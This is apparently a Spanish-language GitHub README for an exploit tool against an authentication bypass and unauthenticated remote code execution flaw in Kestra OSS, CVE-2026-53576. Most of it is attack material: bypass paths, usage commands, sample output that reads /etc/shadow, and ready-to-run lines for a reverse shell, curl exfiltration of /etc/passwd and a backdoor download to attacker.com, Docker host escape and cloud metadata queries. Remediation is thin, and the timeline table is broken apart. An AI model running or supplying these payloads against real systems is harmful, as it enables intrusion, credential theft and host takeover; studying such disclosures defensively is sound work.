
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Omisión crítica de autenticación que permite la ejecución remota de código sin autenticación
Exploit • Detalles de la Vulnerabilidad • Impacto • Remediación
Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas.
- NO la uses contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito para realizar pruebas.
- NO la uses para actividades ilegales.
- El autor NO es responsable de cualquier uso indebido de esta herramienta.
- Úsala bajo tu PROPIO RIESGO.
CVE-2026-53576 es una vulnerabilidad crítica en las versiones de Kestra OSS hasta la v1.3.20 que permite la ejecución remota de código sin autenticación mediante una omisión del filtro de autenticación.
El filtro de autenticación en Kestra contiene un fallo lógico crítico:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Esta comprobación verifica si cualquier solicitud de API termina en /configs, en lugar de comparar la ruta exacta. Esto permite a los atacantes omitir la autenticación añadiendo /configs a cualquier endpoint.
POST /api/v1/main/flows/configs (omite la autenticación)POST /api/v1/main/executions/configs/configs (omite la autenticación)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Salida:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
Un atacante no autenticado puede:
Ejecutar comandos arbitrarios como root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Realizar pivoting al sistema host (si el socket de Docker está montado):
docker run -v /:/host --privileged alpine chroot /host
Acceder a los metadatos de la nube (si se encuentra en un proveedor de nube):
curl http://169.254.169.254/latest/meta-data/
Apagar las instancias vulnerables:
sudo systemctl stop kestra
Bloquear el acceso público:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Aplicar reglas de firewall:
Actualizar Kestra a la última versión parcheada:
Implementar una autenticación adecuada:
Endurecimiento del contenedor:
/var/run/docker.sockEndurecimiento de la red:
| Fecha | Evento |
|---|---|
| 2026-05-26 | Vulnerabilidad descubierta |
| 2026-06-03 | Aviso de seguridad de Kestra publicado |
| 2026-06-10 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Si encuentras útil esta herramienta:
⚠️ ÚSALA RESPONSABLEMENTE ⚠️
| Atributo | Valor |
|---|
| ID de CVE | CVE-2026-53576 |
| Gravedad | Crítica (CVSS 9.8) |
| Tipo de Vulnerabilidad | Omisión de autenticación + RCE |
| Producto Afectado | Kestra OSS |
| Versiones Afectadas | ≤ v1.3.20 |
| Vector de Ataque | Red |
| Autenticación Requerida | Ninguna |
| Interacción del Usuario | Ninguna |
| Opción | Descripción |
|---|
target | Dirección IP u hostname del objetivo (obligatorio) |
-p, --port | Puerto (por defecto: 8080) |
--https | Usar HTTPS en lugar de HTTP |
-c, --command | Comando personalizado a ejecutar |
--docker-check | Comprobar el acceso al socket de Docker |
--cleanup | Eliminar el flujo después de la explotación |
--delay | Retardo entre solicitudes (por defecto: 2s) |
| Categoría | Gravedad | Descripción |
|---|
| Confidencialidad | ⚠️ Crítica | Leer cualquier archivo (contraseñas, secretos, configuraciones) |
| Integridad | ⚠️ Crítica | Crear/modificar/eliminar flujos y datos |
| Disponibilidad | ⚠️ Alta | Apagar el sistema, agotamiento de recursos |
| Autenticación | ⚠️ Crítica | Omisión total de Basic-Auth |
| Escalada de Privilegios | ⚠️ Crítica | Los comandos se ejecutan como root (uid=0) |
| Escape del Contenedor | ⚠️ Crítica | Compromiso del host a través del socket de Docker |
| CVE-2026-53576 asignado |
| 2026-06-15 | Divulgación pública |
| 2026-08-01 | PoC publicado |